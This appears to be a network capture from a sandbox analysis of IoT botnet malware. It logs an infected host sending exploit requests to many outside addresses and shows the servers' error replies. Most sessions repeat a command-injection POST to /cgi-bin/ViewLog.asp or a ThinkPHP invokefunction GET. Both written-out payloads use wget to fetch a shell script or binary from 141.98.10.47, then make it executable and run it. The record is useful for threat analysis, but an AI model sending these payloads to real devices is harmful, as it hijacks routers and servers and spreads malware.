Dec 26, 2023 21:22:54.103285074 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	50914	62.131.192.212	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:54.350711107 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	55980	31.200.110.100	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:54.370716095 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	56780	62.155.164.216	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:55.071906090 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:55.334100962 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Tue, 26 Dec 2023 20:22:56 GMT Server: LANCOM Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 41 4e 43 4f 4d 3a 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 77 65 62 63 6f 6e 66 69 67 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 66 69 6c 65 73 2f 6a 61 76 61 73 63 72 69 70 74 2f 6f 75 74 73 69 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 70 72 65 76 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 6e 6f 6a 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 76 61 72 20 73 63 72 69 70 74 65 64 5f 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 0d 0a 73 63 72 69 70 74 65 64 5f 63 73 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 63 73 73 22 3b 0d 0a 73 63 72 69 70 74 65 64 5f 63 73 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 2e 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 20 2e 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 20 2e 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 20 22 3b 0d 0a 64 6f 63 75 6d 65 6e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <link rel="shortcut icon" href="/images/favicon.ico" type="image/x-icon"> <title>LANCOM: Error - Not Found</title> <meta charset="ISO-8859-1"> <link rel="stylesheet" type="text/css" href="/files/css/fonts.css"> <link rel="stylesheet" type="text/css" href="/files/css/webconfig.css"> <script src="/files/javascript/outside.min.js"></script> <noscript> <style> .outside_notification_preventer { display: none; } .outside_notification_nojs { display: inline !important; } .noscript_hidden { display: none !important; } .noscript_visible_block { display: block !important; } .noscript_visible_inline { display: inline !important; } </style> </noscript> <script>var scripted_css = document.createElement("style");scripted_css.type = "text/css";scripted_css.innerHTML = ".script_hidden { display: none !important; } .script_visible_block { display: block !important; } .script_visible_inline { display: inline !important;} ";documen

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	45698	94.121.195.49	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:55.104253054 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	59926	31.200.25.31	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:55.106266975 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	51426	85.187.9.64	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:55.139873981 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:55.478519917 CET	109	IN	HTTP/1.1 302 Found Location: https://192.168.0.14:443/cgi-bin/ViewLog.asp Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	33182	31.136.244.16	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:55.325017929 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:56.096772909 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:57.632551908 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:00.896097898 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:07.039284945 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:19.325522900 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:44.410008907 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:33.555087090 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	56290	88.99.91.175	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:57.340647936 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:57.590183973 CET	1198	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:22:57 GMT Server: Apache Vary: accept-language,accept-charset,Accept-Encoding Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Tue, 26 Dec 2023 20:22:57 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 28 6f 72 20 70 72 6f 78 79 29 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 0a 20 20 20 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 30 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Bad request!</title><link rev="made" href="mailto:support@vicibox.local" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Bad request!</h1><p> Your browser (or proxy) sent a request that this server could not understand.</p><p>If you think this is a server error, please contactthe <a href="mailto:support@vicibox.local">webmaster</a>.</p><h2>Error 400</h2><address> <a href="/">vicibox.local</a><br /> <span>Apache</span></address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	59104	94.247.142.87	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:57.731707096 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	51168	95.68.67.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.871367931 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.207915068 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.692682028 CET	64	IN	HTTP/1.1 400 Bad Request Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	57922	95.217.81.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:00.874294043 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.271922112 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:02.538072109 CET	913	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 26 Dec 2023 20:23:02 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 